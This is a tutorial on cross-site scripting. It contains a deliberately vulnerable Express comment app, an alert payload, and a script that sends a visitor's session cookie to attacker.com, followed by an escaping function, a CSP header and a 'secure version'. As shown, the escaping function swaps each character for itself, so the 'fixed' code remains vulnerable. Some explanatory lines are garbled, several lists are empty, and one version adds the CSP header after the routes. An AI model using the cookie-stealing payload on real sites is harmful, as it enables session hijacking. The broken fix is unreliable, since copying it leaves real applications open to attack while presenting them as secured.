What Is XSS
XSS stands for Cross-Site Scripting.
It is a type of web security vulnerability where an attacker injects malicious JavaScript code into a website. When other users visit the affected page, the malicious script runs in their browser.
In simple words:
Instead of the website showing only safe content, it unknowingly runs attacker-controlled code inside a user's browser.
Why XSS Is Dangerous
When malicious JavaScript runs in a victim's browser, it can:
The key idea is this:
The browser trusts the website.
If the website sends malicious JavaScript, the browser will execute it.
How XSS Happens
XSS usually happens when:
Types Of XSS
There are three main types:
Stored XSS
Malicious input is saved in a database and shown to other users later.
Example:
Reflected XSS
Malicious input is reflected immediately in the response.
Example:
DOM-Based XSS
The vulnerability exists in client-side JavaScript that directly manipulates the DOM without proper validation.
For this demo, we will focus on a simple Stored XSS example.
Basic Vulnerable Example
Below is a simple Express server that allows users to submit comments. It stores comments in memory and displays them.
This code contains a vulnerability.
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: true }));
let comments = [];
app.get('/', (req, res) => {
let commentList = comments.map(c => `<li>${c}</li>`).join('');
res.send(`
<h1>Comment Section</h1>
<form method="POST" action="/comment">
<input type="text" name="comment" />
<button type="submit">Submit</button>
</form>
<ul>${commentList}</ul>
`);
});
app.post('/comment', (req, res) => {
comments.push(req.body.comment);
res.redirect('/');
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
How The Exploit Works
Imagine a user submits this as a comment:
<script>alert('Hacked')</script>
What happens?
<li>${c}</li>.<script> and executes it.Instead of displaying the text, the browser executes the script.
This is XSS.
Realistic Attack Example
Instead of alert, an attacker might inject:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
This sends the user's session cookie to the attacker.
If the site uses cookies for authentication, the attacker can hijack the session.
Why The Vulnerability Exists
The problem is here:
let commentList = comments.map(c => `<li>${c}</li>`).join('');
The application inserts user input directly into HTML without escaping it.
The browser cannot tell the difference between:
So it executes everything.
How To Prevent XSS
There are several ways to fix this.
1. Escape Output
Convert special characters to safe HTML entities.
Example:
< becomes <> becomes >This ensures the browser treats input as text, not code.
Here is a simple escaping function:
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
Now modify the rendering:
let commentList = comments
.map(c => `<li>${escapeHTML(c)}</li>`)
.join('');
Now if a user submits:
<script>alert('Hacked')</script>
It will display as plain text instead of executing.
2. Use Security Headers
Set Content Security Policy (CSP) headers to restrict script execution.
Example:
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'self'");
next();
});
This blocks inline scripts.
3. Use Template Engines That Escape By Default
Modern frameworks like:
Automatically escape output unless explicitly told not to.
Secure Version Of The Application
Here is the fixed version:
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: true }));
let comments = [];
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
app.get('/', (req, res) => {
let commentList = comments
.map(c => `<li>${escapeHTML(c)}</li>`)
.join('');
res.send(`
<h1>Comment Section</h1>
<form method="POST" action="/comment">
<input type="text" name="comment" />
<button type="submit">Submit</button>
</form>
<ul>${commentList}</ul>
`);
});
app.post('/comment', (req, res) => {
comments.push(req.body.comment);
res.redirect('/');
});
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'self'");
next();
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
const express = require('express');
const app = express();
app.use(express.urlencoded({ extended: true }));
let comments = [];
function escapeHTML(str) {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'self'");
next();
});
app.get('/', (req, res) => {
let commentList = comments
.map(c => `<li>${escapeHTML(c)}</li>`)
.join('');
res.send(`
<h1>Comment Section</h1>
<form method="POST" action="/comment">
<input type="text" name="comment" />
<button type="submit">Submit</button>
</form>
<ul>${commentList}</ul>
`);
});
app.post('/comment', (req, res) => {
comments.push(req.body.comment);
res.redirect('/');
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});